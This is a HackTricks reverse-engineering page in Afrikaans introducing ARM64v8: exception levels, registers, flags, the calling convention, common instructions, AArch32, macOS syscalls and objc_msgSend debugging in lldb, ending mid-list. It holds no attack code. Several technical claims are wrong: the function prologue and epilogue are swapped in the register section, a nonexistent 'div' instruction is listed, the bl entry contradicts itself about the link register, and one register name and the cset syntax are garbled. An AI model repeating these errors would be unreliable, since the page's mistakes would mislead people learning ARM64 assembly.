Introduction to ARM64v8
Reading time: 38 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Exception Levels - EL (ARM64v8)
In ARMv8-argitektuur definieer uitvoeringsvlakke, bekend as Exception Levels (ELs), die voorregvlak en vermoëns van die uitvoeringsomgewing. Daar is vier exception-vlakke, van EL0 tot EL3, elk met 'n ander doel:
- EL0 - User Mode:
- Dit is die minste-bevoorregte vlak en word gebruik vir die uitvoering van gewone toepassingkode.
- Toepassings wat by EL0 loop, is van mekaar en van die stelselprogrammatuur geïsoleer, wat sekuriteit en stabiliteit verbeter.
- EL1 - Operating System Kernel Mode:
- Die meeste bedryfstelselkernels hardloop op hierdie vlak.
- EL1 het meer voorregte as EL0 en kan stelselhulpbronne toegang, maar met sekere beperkings om stelselintegriteit te verseker.
- EL2 - Hypervisor Mode:
- Hierdie vlak word vir virtualisering gebruik. 'n Hypervisor wat by EL2 loop kan meerdere bedryfstelsels bestuur (elkeen in sy eie EL1) op dieselfde fisiese hardeware.
- EL2 bied funksies vir isolasie en beheer van die gevirtualiseerde omgewings.
- EL3 - Secure Monitor Mode:
- Dit is die mees bevoorregte vlak en word dikwels gebruik vir secure boot en vertroude uitvoeringsomgewings.
- EL3 kan toegang tussen secure en non-secure state beheer en bestuur (soos secure boot, trusted OS, ens.).
Die gebruik van hierdie vlakke maak 'n gestruktureerde en veilige wyse moontlik om verskillende aspekte van die stelsel te bestuur, van gebruikersprogramme tot die mees bevoorregte stelselprogrammatuur. ARMv8 se benadering tot voorregvlakke help om verskillende stelselkomponente effektief te isoleer en sodoende die sekuriteit en robuustheid van die stelsel te versterk.
Registers (ARM64v8)
ARM64 het 31 general-purpose registers, gemerk x0
tot x30
. Elk kan 'n 64-bit (8-byt) waarde stoor. Vir operasies wat slegs 32-bit waardes benodig, kan dieselfde registers in 'n 32-bit formaat geraadpleeg word met die name w0
tot w30
.
x0
totx7
- Hierdie word tipies gebruik as scratch-registers en vir die deurgee van parameters na subrutines.
x0
dra ook die terugkeerdata van 'n funksie.
x8
- In die Linux-kern wordx8
gebruik as die system call nommer vir diesvc
instruksie. In macOS die x16 is die een wat gebruik word!x9
totx15
- Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes.x16
enx17
- Intra-procedural Call Registers. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Procedure Linkage Table) stubs.
x16
word gebruik as die system call number vir diesvc
instruksie in macOS.
x18
- Platform register. Dit kan as 'n general-purpose register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: wysiger na die huidige thread environment block in Windows, of om na die tans uitvoerende task structure in linux kernel te wys.x19
totx28
- Dit is callee-saved registers. 'n Funksie moet die waardes van hierdie registers vir sy caller bewaar, dus word hulle in die stack gestoor en herkry voordat teruggekeer word na die caller.x29
- Frame pointer om die stack-raad te hou. Wanneer 'n nuwe stack-frame geskep word omdat 'n funksie aangeroep is, word diex29
register in die stack gestoor en die nuwe frame pointer adres (diesp
adres) word in hierdie register gestoor.
- Hierdie register kan ook as 'n general-purpose register gebruik word alhoewel dit gewoonlik as verwysing na plaatslike veranderlikes gebruik word.
x30
oflr
- Link register. Dit hou die terugkeeradres wanneer 'nBL
(Branch with Link) ofBLR
(Branch with Link to Register) instruksie uitgevoer word deur diepc
waarde in hierdie register te stoor.
- Dit kan ook soos enige ander register gebruik word.
- As die huidige funksie 'n nuwe funksie gaan aanroep en dus
lr
oorskryf, sal dit aan die begin in die stack gestoor word—dit is die epiloog (stp x29, x30 , [sp, #-48]; mov x29, sp
-> Stoorfp
enlr
, genereer ruimte en kry nuwefp
) en herstel dit aan die einde, dit is die proloog (ldp x29, x30, [sp], #48; ret
-> Herstelfp
enlr
en keer terug).
sp
- Stack pointer, gebruik om die top van die stack te hê.
- Die
sp
waarde moet altyd op ten minste 'n quadword uitlyningsvlak gehou word of 'n uitlyningsfout kan voorkom.
pc
- Program counter, wat na die volgende instruksie wys. Hierdie register kan slegs bygewerk word deur exception-generasies, exception-terugkeer en takke. Die enigste gewone instruksies wat hierdie register kan lees, is Branch with Link instruksies (BL, BLR) om diepc
adres inlr
(Link Register) te stoor.xzr
- Zero register. Ook genoemwzr
in sy 32-bit register vorm. Kan gebruik word om maklik die nul-waarde te kry (algemene operasie) of om vergelykings uit te voer metsubs
soossubs XZR, Xn, #10
en die resultaat nêrens te stoor (inxzr
).
Die Wn
registers is die 32bit weergawe van die Xn
register.
tip
Die registers van X0 - X18 is vluchtig (volatile), wat beteken hul waardes kan deur funksie-oproepe en interrupts verander word. Die registers van X19 - X28 is egter nie-vlugtig, wat beteken hul waardes moet oor funksie-oproepe bewaar bly ("callee saved").
SIMD and Floating-Point Registers
Bo en behalwe is daar nog 32 registers van 128bit lengte wat in geoptimaliseerde single instruction multiple data (SIMD) operasies en vir dryfpunt-aritmetika gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in 64-bit, 32-bit, 16-bit en 8-bit opereer en dan Qn
, Dn
, Sn
, Hn
en Bn
genoem word.
System Registers
Daar is honderde system registers, ook genoem special-purpose registers (SPRs), wat gebruik word vir monitoring en beheering van die verhouding van verwerkers.
Hulle kan slegs gelees of gestel word met behulp van die toegewyde spesiale instruksies mrs
en msr
.
Die spesiale registers TPIDR_EL0
en TPIDDR_EL0
kom algemeen voor tydens reverse engineering. Die EL0
agtervoegsel dui die minimale exception aan waarvan die register toeganklik is (in hierdie geval is EL0 die gewone exception (voorreg) vlak waarop gewone programme hardloop).
Hul word dikwels gebruik om die basisadres van die thread-local storage geheuegebied te stoor. Gewoonlik is die eerste een lees- en skryfbaar vir programme wat by EL0 loop, maar die tweede kan van EL0 gelees en van EL1 geskryf word (soos die kernel).
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0
PSTATE
PSTATE bevat verskeie proseskomponente geserialiseer in die bedryfstelsel-sigbare SPSR_ELx
spesiale register, waar X die permitvlak van die getriggerde exception is (dit laat toe om die prosesstaat te herstel wanneer die exception eindig).
Hierdie is die toeganklike veldjies:
.png)
- Die
N
,Z
,C
enV
conditievlae: N
beteken die operasie het 'n negatiewe resultaat gegeeZ
beteken die operasie het nul gegeeC
beteken die operasie het 'n carry gehadV
beteken die operasie het 'n signed overflow gegee:- Die som van twee positiewe getalle gee 'n negatiewe resultaat.
- Die som van twee negatiewe getalle gee 'n positiewe resultaat.
- In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal afgetrek word (of omgekeerd), en die resultaat nie binne die reeks van die gegewe bits getoon kan word nie.
- Oenklik die verwerker weet nie of die operasie signed is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n carry plaasgevind het in die geval dit signed of unsigned was.
warning
Nie al die instruksies werk hierdie vlae by nie. Sommige soos CMP
of TST
doen dit, en ander wat 'n s
agtervoegsel het soos ADDS
doen dit ook.
- Die huidige register breedte (
nRW
) vlag: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra hervat. - Die huidige Exception Level (
EL
): 'n Gewone program wat in EL0 loop sal die waarde 0 hê. - Die single stepping vlag (
SS
): Word deur debuggers gebruik om enkelstap deur te voer deur die SS vlag op 1 te stel binneSPSR_ELx
deur 'n exception. Die program sal 'n stap uitvoer en 'n single step exception uitreik. - Die illegal exception status vlag (
IL
): Dit word gebruik om te merk wanneer 'n bevoorregte sagteware 'n ongeldige exception level-oordrag uitvoer; hierdie vlag word op 1 gestel en die verwerker trigger 'n illegal state exception. - Die
DAIF
vlae: Hierdie vlae laat 'n bevoorregte program toe om sekere eksterne exceptions selektief te mask. - As
A
1 is beteken dit asynchronous aborts sal getrigger word. DieI
konfigureer om op eksterne hardeware Interrupt Requests (IRQs) te reageer. En dieF
is verwant aan Fast Interrupt Requests (FIRs). - Die stack pointer select vlae (
SPS
): Bevoorregte programme wat in EL1 en hoër loop kan skakel tussen die gebruik van hul eie stack pointer register en die gebruiker-model een (bv. tussenSP_EL1
enEL0
). Hierdie omskakeling word uitgevoer deur na dieSPSel
spesiale register te skryf. Dit kan nie vanaf EL0 gedoen word nie.
Calling Convention (ARM64v8)
Die ARM64 calling convention spesifiseer dat die eerste agt parameters aan 'n funksie in registers x0
tot x7
gedra word. Addisionele parameters word op die stack deurgegee. Die terugkeer waarde word in register x0
teruggegee, of ook in x1
as dit 128 bits lank is. Die x19
tot x30
en sp
registers moet behou word oor funksie-oproepe.
Wanneer jy 'n funksie in assembler lees, kyk vir die funksie proloog en epiloog. Die proloog behels gewoonlik om die frame pointer (x29
) te stoor, op te stel 'n nuwe frame pointer, en stack-ruimte te toeken. Die epiloog behels gewoonlik herstel van die gestoor frame pointer en terugkeer uit die funksie.
Calling Convention in Swift
Swift het sy eie calling convention wat gevind kan word by https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Common Instructions (ARM64v8)
ARM64-instruksies het oor die algemeen die formaat opcode dst, src1, src2
, waar opcode
die operasie is wat uitgevoer word (soos add
, sub
, mov
, ens.), dst
is die bestemming register waar die resultaat gestoor sal word, en src1
en src2
is die bronne registers. Immediate waardes kan ook in plek van bronregisters gebruik word.
-
mov
: Move 'n waarde van een register na 'n ander. -
Voorbeeld:
mov x0, x1
— Dit skuif die waarde vanx1
nax0
. -
ldr
: Load 'n waarde uit geheue in 'n register. -
Voorbeeld:
ldr x0, [x1]
— Dit laai 'n waarde van die geheue-ligging wat deurx1
aangedui word inx0
. -
Offset mode: 'n Offset wat die oorsprong-aanwyser affekteer word aangedui, byvoorbeeld:
-
ldr x2, [x1, #8]
, dit sal in x2 die waarde van x1 + 8 laai -
ldr x2, [x0, x1, lsl #2]
, dit sal in x2 'n objek uit die array x0 laai, van posisie x1 (indeks) * 4 -
Pre-indexed mode: Dit sal berekeninge op die oorsprong toepas, die resultaat kry en ook die nuwe oorsprong in die oorsprong stoor.
-
ldr x2, [x1, #8]!
, dit salx1 + 8
inx2
laai en in x1 die resultaat vanx1 + 8
stoor -
str lr, [sp, #-4]!
, Stoor die link register in sp en werk die register sp op -
Post-index mode: Dit is soos die vorige, maar die geheueadres word eerstens geraadpleeg en dan word die offset bereken en gestoor.
-
ldr x0, [x1], #8
, laaix1
inx0
en werk x1 op metx1 + 8
-
PC-relative addressing: In hierdie geval word die adres wat gelaai moet word relatief tot die PC-register bereken
-
ldr x1, =_start
, Dit sal die adres waar die_start
simbool begin in x1 laai verwant aan die huidige PC. -
str
: Store 'n waarde van 'n register in geheue. -
Voorbeeld:
str x0, [x1]
— Dit stoor die waarde inx0
in die geheue-ligging aangedui deurx1
. -
ldp
: Load Pair of Registers. Hierdie instruksie laai twee registers van aaneenliggende geheue liggings. Die geheueadres word tipies gevorm deur 'n offset by die waarde in 'n ander register op te tel. -
Voorbeeld:
ldp x0, x1, [x2]
— Dit laaix0
enx1
van die geheue-liggings byx2
enx2 + 8
, onderskeidelik. -
stp
: Store Pair of Registers. Hierdie instruksie stoor twee registers na aaneenliggende geheue liggings. Die geheueadres word tipies gevorm deur 'n offset by die waarde in 'n ander register op te tel. -
Voorbeeld:
stp x0, x1, [sp]
— Dit stoorx0
enx1
in die geheue-liggings bysp
ensp + 8
, onderskeidelik. -
stp x0, x1, [sp, #16]!
— Dit stoorx0
enx1
in die geheue-liggings bysp+16
ensp + 24
, onderskeidelik, en werksp
by nasp+16
. -
add
: Voeg die waardes van twee registers by en stoor die resultaat in 'n register. -
Sintaks: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Bestemming
-
Xn2 -> Operand 1
-
Xn3 | #imm -> Operand 2 (register of immediate)
-
[shift #N | RRX] -> Voer 'n skuif uit of gebruik RRX
-
Voorbeeld:
add x0, x1, x2
— Dit tel die waardes inx1
enx2
bymekaar en stoor die resultaat inx0
. -
add x5, x5, #1, lsl #12
— Dit is gelyk aan 4096 (1 geskuiwe 12 keer) -> 1 0000 0000 0000 0000 -
adds
Dit voer 'nadd
uit en werk die vlae by -
sub
: Trek af die waardes van twee registers en stoor die resultaat in 'n register. -
Kyk
add
sintaks. -
Voorbeeld:
sub x0, x1, x2
— Dit trek die waarde inx2
vanx1
af en stoor die resultaat inx0
. -
subs
Dit is soossub
maar werk die vlae by -
mul
: Vermenigvuldig die waardes van twee registers en stoor die resultaat in 'n register. -
Voorbeeld:
mul x0, x1, x2
— Dit vermenigvuldig die waardes inx1
enx2
en stoor die resultaat inx0
. -
div
: Deel die waarde van een register deur 'n ander en stoor die resultaat in 'n register. -
Voorbeeld:
div x0, x1, x2
— Dit deel die waarde inx1
deurx2
en stoor die resultaat inx0
. -
lsl
,lsr
,asr
,ror
,rrx
: -
Logical shift left: Voeg 0's by aan die einde en skuif die ander bite vorentoe (vermenigvuldig met 2^n)
-
Logical shift right: Voeg 0's aan die begin (vir unsigned) en skuif die ander bite agtertoe (deel deur 2^n vir unsigned)
-
Arithmetic shift right: Soos
lsr
, maar as die hoogste bit 'n 1 is, word 1's bygevoeg (deel deur 2^n vir signed) -
Rotate right: Soos
lsr
maar wat uit die regterkant verwyder word word links aangeheg -
Rotate Right with Extend: Soos
ror
, maar met die carry vlag as die "mees-belangrike bit". Dus word die carry vlag na bit 31 beweeg en die verwyderde bit na die carry vlag. -
bfm
: Bit Field Move, hierdie operasies kopieer bite0...n
van 'n waarde en plaas hulle in posisiesm..m+n
. Die#s
spesifiseer die linkerste bit posisie en#r
die rotate right hoeveelheid. -
Bitfield move:
BFM Xd, Xn, #r
-
Signed Bitfield move:
SBFM Xd, Xn, #r, #s
-
Unsigned Bitfield move:
UBFM Xd, Xn, #r, #s
-
Bitfield Extract and Insert: Kopieer 'n bitveld uit 'n register en plaas dit in 'n ander register.
-
BFI X1, X2, #3, #4
Sit 4 bite van X2 in vanaf die 3de bit van X1 -
BFXIL X1, X2, #3, #4
Trek 4 bite uit vanaf die 3de bit van X2 en kopieer hulle na X1 -
SBFIZ X1, X2, #3, #4
Sign-extends 4 bite van X2 en plaas dit in X1 beginnende by bitposisie 3 en maak die regterbite nul -
SBFX X1, X2, #3, #4
Trek 4 bite beginnende by bit 3 van X2 uit, sign-extend dit, en plaas die resultaat in X1 -
UBFIZ X1, X2, #3, #4
Zero-extends 4 bite van X2 en plaas dit in X1 beginnende by bitposisie 3 en maak die regterbite nul -
UBFX X1, X2, #3, #4
Trek 4 bite beginnende by bit 3 van X2 uit en plaas die zero-extended resultaat in X1. -
Sign Extend To X: Brei die teken uit (of voeg net 0s by in die unsigned weergawe) van 'n waarde om operasies met dit te kan uitvoer:
-
SXTB X1, W2
Brei die teken van 'n byte van W2 na X1 uit (W2
is die helfte vanX2
) om die 64 bits te vul -
SXTH X1, W2
Brei die teken van 'n 16-bit getal van W2 na X1 uit om die 64 bits te vul -
SXTW X1, W2
Brei die teken van 'n 32-bit getal van W2 na X1 uit om die 64 bits te vul -
UXTB X1, W2
Voeg 0s by (unsigned) aan 'n byte van W2 na X1 om die 64 bits te vul -
extr
: Trek bite uit 'n gespesifiseerde paar van registre concatenated. -
Voorbeeld:
EXTR W3, W2, W1, #3
Dit sal W1+W2 concateneer en kry van bit 3 van W2 tot bit 3 van W1 en dit in W3 stoor. -
cmp
: Vergelyk twee registers en stel conditievlae. Dit is 'n alias vansubs
wat die bestemming register op die zero register stel. Nuttig om te weet ofm == n
. -
Dit ondersteun dieselfde sintaks as
subs
-
Voorbeeld:
cmp x0, x1
— Dit vergelyk die waardes inx0
enx1
en stel die conditievlae ooreenkomstig. -
cmn
: Vergelyk negatiewe operand. In hierdie geval is dit 'n alias vanadds
en ondersteun dieselfde sintaks. Nuttig om te weet ofm == -n
. -
ccmp
: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en sal spesifiek nzcv-bits stel. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func
-> as x1 != x2 en x3 < x4, spring na func -
Dit is omdat
ccmp
slegs uitgevoer sal word as die vorigecmp
'nNE
was; as dit nie was nie sal die bitsnzcv
op 0 gestel word (wat nie dieblt
vergelyking sal bevredig nie). -
Dit kan ook as
ccmn
gebruik word (dieselfde maar negatief, sooscmp
vscmn
). -
tst
: Dit kontroleer of enige van die bisse van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te toets en te kyk of enige van die bisse wat aangedui word deur die waarde 1 is. -
Voorbeeld:
tst X1, #7
Kontroleer of enige van die laaste 3 bite van X1 1 is -
teq
: XOR-operasie wat die resultaat weggooi -
b
: Onvoorwaardelike Tak (Branch) -
Voorbeeld:
b myFunction
-
Let daarop dat dit nie die link register met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat terug moet keer nie)
-
bl
: Branch met link, gebruik om 'n subrutine te bel. Stoor die terugkeeradres inx30
. -
Voorbeeld:
bl myFunction
— Dit roep die funksiemyFunction
aan en stoor die terugkeeradres inx30
. -
Let dat dit nie die link register met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat terug moet keer nie)
-
blr
: Branch met Link na Register, gebruik om 'n subrutine te bel waar die teiken in 'n register gespesifiseer is. Stoor die terugkeeradres inx30
. -
Voorbeeld:
blr x1
— Dit roep die funksie aan wie se adres inx1
is en stoor die terugkeeradres inx30
. -
ret
: Keer terug van 'n subrutine, tipies die adres inx30
gebruik. -
Voorbeeld:
ret
— Dit keer terug uit die huidige subrutine gebruikende die terugkeeradres inx30
. -
b.<cond>
: Voorwaardelike takke -
b.eq
: Tak indien gelyk, gebaseer op die vorigecmp
instruksie. -
Voorbeeld:
b.eq label
— As die vorigecmp
twee gelyke waardes gevind het, spring dit nalabel
. -
b.ne
: Tak as nie-gelyk. Hierdie instruksie kontroleer die conditievlae (gestel deur 'n vorige vergelykingsinstruksie), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n label of adres. -
Voorbeeld: Na 'n
cmp x0, x1
instruksie,b.ne label
— As die waardes inx0
enx1
nie gelyk was nie, spring dit nalabel
. -
cbz
: Compare and Branch on Zero. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n label of adres. -
Voorbeeld:
cbz x0, label
— As die waarde inx0
nul is, spring dit nalabel
. -
cbnz
: Compare and Branch on Non-Zero. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n label of adres. -
Voorbeeld:
cbnz x0, label
— As die waarde inx0
nie nul is nie, spring dit nalabel
. -
tbnz
: Test bit and branch on nonzero -
Voorbeeld:
tbnz x0, #8, label
-
tbz
: Test bit and branch on zero -
Voorbeeld:
tbz x0, #8, label
-
Conditional select operations: Dit is operasies wie se gedrag afhang van die kondisionele bisse.
-
csel Xd, Xn, Xm, cond
->csel X0, X1, X2, EQ
-> As waar, X0 = X1, as onwaar, X0 = X2 -
csinc Xd, Xn, Xm, cond
-> As waar, Xd = Xn, as onwaar, Xd = Xm + 1 -
cinc Xd, Xn, cond
-> As waar, Xd = Xn + 1, as onwaar, Xd = Xn -
csinv Xd, Xn, Xm, cond
-> As waar, Xd = Xn, as onwaar, Xd = NOT(Xm) -
cinv Xd, Xn, cond
-> As waar, Xd = NOT(Xn), as onwaar, Xd = Xn -
csneg Xd, Xn, Xm, cond
-> As waar, Xd = Xn, as onwaar, Xd = - Xm -
cneg Xd, Xn, cond
-> As waar, Xd = - Xn, as onwaar, Xd = Xn -
cset Xd, Xn, Xm, cond
-> As waar, Xd = 1, as onwaar, Xd = 0 -
csetm Xd, Xn, Xm, cond
-> As waar, Xd = <all 1>, as onwaar, Xd = 0 -
adrp
: Bereken die bladsyadres van 'n simbool en stoor dit in 'n register. -
Voorbeeld:
adrp x0, symbol
— Dit bereken die bladsyadres vansymbol
en stoor dit inx0
. -
ldrsw
: Laai 'n signed 32-bit waarde uit geheue en sign-extend dit na 64 bits. -
Voorbeeld:
ldrsw x0, [x1]
— Dit laai 'n signed 32-bit waarde vanaf die geheue-ligging aangedui deurx1
, sign-extend dit na 64 bits, en stoor dit inx0
. -
stur
: Stoor 'n registerwaarde in 'n geheue-ligging, gebruik 'n offset van 'n ander register. -
Voorbeeld:
stur x0, [x1, #4]
— Dit stoor die waarde inx0
in die geheue-adres wat 4 bytes groter is as die adres inx1
. -
svc
: Maak 'n system call. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, skakel dit van gebruiker-modus na kern-modus en spring na 'n spesifieke ligging in geheue waar die kernel se system call handling kode geleë is. -
Voorbeeld:
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
Function Prologue
- Stoor die link register en frame pointer in die stack:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- Stel die nuwe raamwyser op:
mov x29, sp
(stel die nuwe raamwyser vir die huidige funksie op) - Ken ruimte op die stapel toe vir plaaslike veranderlikes (indien nodig):
sub sp, sp, <size>
(waar<size>
die aantal bytes is wat benodig word)
Funksie-epiloog
- Maak plaaslike veranderlikes vry (indien enige toegeken is):
add sp, sp, <size>
- Herstel die linkregister en raamwyser:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Terugkeer:
ret
(hergee beheer aan die aanroeper met behulp van die adres in die link register)
AARCH32 Uitvoeringstoestand
Armv8-A ondersteun die uitvoering van 32-bit programme. AArch32 kan in een van twee instruksiesstelle loop: A32
en T32
en kan tussen hulle wissel via interworking
.
Bevoorregte 64-bit programme kan die uitvoering van 32-bit programme beplan deur 'n oordrag van uitsonderingsvlak na die laer-bevoorregte 32-bit uit te voer.
Neem kennis dat die oorgang van 64-bit na 32-bit plaasvind met 'n laer uitsonderingsvlak (byvoorbeeld 'n 64-bit program in EL1 wat 'n program in EL0 trigger). Dit word gedoen deur bit 4 van SPSR_ELx
spesiale register op 1 te stel wanneer die AArch32
prosesdraad gereed is om uitgevoer te word en die res van SPSR_ELx
die AArch32
program se CPSR stoor. Daarna roep die bevoorregte proses die ERET
instruksie sodat die verwerker na AArch32
oorgaan en A32 of T32 betree afhangende van CPSR**.**
Die interworking
gebeur deur die J en T-bitte van CPSR te gebruik. J=0
en T=0
beteken A32
en J=0
en T=1
beteken T32. Dit beteken basies om die laagste bit op 1 te stel om aan te dui dat die instruksie-stel T32 is.
Dit word gestel tydens die interworking branch instructions, maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld:
Nog 'n voorbeeld:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
Registers
Daar is 16 32-bit registers (r0-r15). Vanaf r0 tot r14 kan hulle vir enige operasie gebruik word, maar sommige word gewoonlik gereserveer:
r15
: Programteller (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32 huidige + 4.r11
: Raamwyserr12
: Intra-prosedurele oproepregisterr13
: Stack Pointer (Let daarop dat die stack altyd 16-byte uitgelyn is)r14
: Link Register
Verder word registers gesteun in banked registries
. Dit is plekke wat die registerwaardes stoor en toelaat om vinnige kontekswisseling uit te voer tydens uitsonderingshantering en bevoegde operasies, sodat dit nie nodig is om registre elke keer handmatig te stoor en te herstel nie.
Dit gebeur deur die verwerkerstatus van die CPSR
na die SPSR
van die verwerkermodus waarin die uitsondering geneem is, te stoor. By die terugkeer van die uitsondering word die CPSR
uit die SPSR
herstel.
CPSR - Huidige Programstatusregister
In AArch32 werk die CPSR soortgelyk aan PSTATE
in AArch64 en word dit ook in SPSR_ELx
gestoor wanneer 'n uitsondering geneem word om later die uitvoering te herstel:
.png)
Die velde is in 'n paar groepe verdeeld:
- Application Program Status Register (APSR): Aritmetiese vlagte en toeganglik vanaf EL0
- Execution State Registers: Prosesgedrag (bestuur deur die OS).
Application Program Status Register (APSR)
- Die
N
,Z
,C
,V
vlagte (soos in AArch64) - Die
Q
vlag: Dit word op 1 gestel wanneer integer-saturasie voorkom tydens die uitvoering van 'n spesialis-saturerende aritmetiese instruksie. Sodra dit op1
gestel is, behou dit die waarde totdat dit handmatig op 0 gestel word. Daar is verder geen instruksie wat sy waarde implisiet nagaan nie; dit moet handmatig gelees word. GE
(Greater than or equal) vlagte: Dit word in SIMD (Single Instruction, Multiple Data) operasies gebruik, soos "parallel add" en "parallel subtract". Hierdie operasies laat toe om verskeie datapunte in een instruksie te verwerk.
Byvoorbeeld, die UADD8
instruksie voeg vier pare bytes (van twee 32-bit operands) parallel by en berg die resultate in 'n 32-bit register. Dit stel dan die GE
vlagte in die APSR
gebaseer op hierdie resultate. Elke GE-vlag stem ooreen met een van die byte-byvoegings en dui aan of die byvoeging vir daardie bytepaar oorvloei.
Die SEL
instruksie gebruik hierdie GE-vlagte om voorwaardelike aksies uit te voer.
Execution State Registers
- Die
J
enT
bits:J
behoort 0 te wees en asT
0 is gebruik dit die instruksieset A32, en as dit 1 is word T32 gebruik. - IT Block State Register (
ITSTATE
): Dit is die bisse van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'nIT
-voorgestelde groep. E
bit: Dui die endianness aan.- Mode en Exception Mask Bits (0-4): Hulle bepaal die huidige uitvoeringstoestand. Die 5de bit dui aan of die program as 32bit (1) of 64bit (0) loop. Die ander 4 verteenwoordig die uitsonderingsmodus wat tans gebruik word (wanneer 'n uitsondering plaasvind en hanteer word). Die gesette nommer dui die huidige prioriteit aan ingeval nog 'n uitsondering geaktiveer word terwyl hierdie een hanteer word.
.png)
AIF
: Sekere uitsonderings kan gedeaktiveer word deur die bitsA
,I
,F
. AsA
1 is beteken dit asynchrone aborts sal geaktiveer word. DieI
stel die reaksie op eksterne hardeware Interrupt Requests (IRQs) op, en die F is verwant aan Fast Interrupt Requests (FIRs).
macOS
BSD syscalls
Kyk na syscalls.master of voer cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
uit. BSD syscalls sal x16 > 0 hê.
Mach Traps
Kyk in syscall_sw.c na die mach_trap_table
en in mach_traps.h na die prototipes. Die maksimum aantal Mach traps is MACH_TRAP_TABLE_COUNT
= 128. Mach traps sal x16 < 0 hê, so jy moet die nommers van die vorige lys met 'n minus oproep: _kernelrpc_mach_vm_allocate_trap
is -10
.
Jy kan ook libsystem_kernel.dylib
in 'n disassembler nagaan om te vind hoe om hierdie (en BSD) syscalls aan te roep:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.
tip
Soms is dit makliker om die gedekompileerde kode van libsystem_kernel.dylib
as om die bronkode na te gaan, omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word.
machdep calls
XNU ondersteun 'n ander tipe oproepe wat machine dependent genoem word. Die nommers van hierdie oproepe hang af van die argitektuur en geen van die oproepe of nommers is gewaarborg om konstant te bly nie.
comm page
Dit is 'n kernel-eienaarskap geheuebladsy wat in die adresruimte van elke gebruiker se proses gemap word. Dit is bedoel om die oorgang van user mode na kernel space vinniger te maak as om syscalls te gebruik vir kernel-dienste wat so gereeld gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.
Byvoorbeeld lees die oproep gettimeofdate
die waarde van timeval
direk vanaf die comm page.
objc_msgSend
Dit is uiters algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie laat toe om 'n metode van 'n Objective-C object aan te roep.
Parameters (more info in the docs):
- x0: self -> Aanwyser na die instansie
- x1: op -> Selector van die metode
- x2... -> Oorblywende argumente van die aangeroepde metode
As jy dus 'n breakpoint plaas voor die tak na hierdie funksie, kan jy maklik vind wat aangeroep word in lldb met (in hierdie voorbeeld roep die objek 'n objek van NSConcreteTask
aan wat 'n opdrag sal uitvoer):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
Deur die omgewingsveranderlike NSObjCMessageLoggingEnabled=1
te stel, is dit moontlik om te log wanneer hierdie funksie aangeroep word in 'n lêer soos /tmp/msgSends-pid
.
Verder, deur OBJC_HELP=1
te stel en enige binary aan te roep, kan jy ander omgewingsveranderlikes sien wat jy kan gebruik om te log wanneer sekere Objc-C-aksies plaasvind.
Wanneer hierdie funksie aangeroep word, moet die aangeroep metode van die aangeduide instance gevind word; hiervoor word verskeie soektogte uitgevoer:
- Voer optimistiese cache-opsoek uit:
- As dit suksesvol is, klaar
- Verkry runtimeLock (read)
- If (realize && !cls->realized) realize class
- If (initialize && !cls->initialized) initialize class
- Probeer class se eie cache:
- As dit suksesvol is, klaar
- Probeer class method list:
- Indien gevind, vul cache en klaar
- Probeer superclass cache:
- As dit suksesvol is, klaar
- Probeer superclass method list:
